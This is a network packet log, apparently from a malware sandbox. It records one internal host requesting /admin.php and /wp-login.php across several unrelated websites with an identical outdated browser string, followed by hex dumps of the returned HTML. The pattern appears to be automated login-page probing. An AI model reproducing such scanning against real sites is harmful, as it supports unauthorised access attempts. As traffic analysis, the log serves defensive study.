Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.4	61478	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	320	OUT	GET /admin.php HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_A7oyWXYv2PxofDHXH5GuW8pQG93GvVcLJKpRxO7HmgE0L1CtEWmYxpNjCIjZvnoeXvijYyNyxgvO2kmLoJgQ6g Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.4	61462	96.45.112.177	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	179	OUT	GET /wp-login.php HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	581	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Set-Cookie: PHPSESSID=52ee269a5a2695ffa79419c9ff73916b; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=2496260124; expires=Thu, 21-Dec-2023 02:13:32 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure X-Frame-Options: SAMEORIGIN
2023-12-20 02:13:32 UTC	11886	IN	Data Raw: 32 65 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e Data Ascii: 2e61<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Con

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.4	61350	209.126.24.60	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	267	OUT	GET /wp-login.php HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=4ff266dda3ee08c47edace8900d173b5 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=4ff266dda3ee08c47edace8900d173b5; expires=Wed, 20-Dec-2023 03:13:32 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 06:35:01 GMT
2023-12-20 02:13:32 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:32 UTC	970	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 4000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 09 Data Ascii: at: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: auto;
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f 64 79 22 0a 20 20 20 20 Data Ascii: pt>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="body"
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d Data Ascii: arch"><span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 2e 74 6f 74 61 6c 73 22 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c Data Ascii: .totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 Data Ascii: f="https://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Miner
2023-12-20 02:13:32 UTC	4096	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: menu-item level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.4	61626	104.21.20.204	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	780	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q9VVOyVi%2FCMxROPuTS79vtQsobAPyJQHh86YX7RzzHKFqHWfbzak5BvD6rCzyWy8z3BPOc7uZe0rRKBtSyU11EEkCwl0dEPNin5KSuvF3Aehh2ann0wgtkCBkacNn6UO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845ddc6a962227-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:32 UTC	589	IN	Data Raw: 31 35 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4d 61 6a 6f 72 4d 65 67 61 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 22 Data Ascii: 1532<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; MajorMega.com — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive"
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 6f 67 69 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f Data Ascii: /css/forms.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="l10n-css" href="https://majormega.com/wp-admin/css/l10n.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="login-css" href="https://majormega.com/wp-admin/css/login.min.css?
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 61 73 68 69 63 6f 6e 73 20 64 61 73 68 69 63 6f 6e 73 2d 76 69 73 69 62 69 6c 69 74 79 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 66 6f 72 67 65 74 6d 65 6e 6f 74 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 69 64 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 76 61 6c 75 65 3d 22 66 6f 72 65 76 65 72 22 20 2f 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 3e 52 65 6d 65 6d 62 65 72 20 4d 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 70 3e 0a 3c 70 20 63 6c 61 73 73 3d Data Ascii: "><span class="dashicons dashicons-visibility" aria-hidden="true"></span></button></div></div><p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p><p class=
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 Data Ascii: src="https://majormega.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script src="https://majormega.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script><script src="https
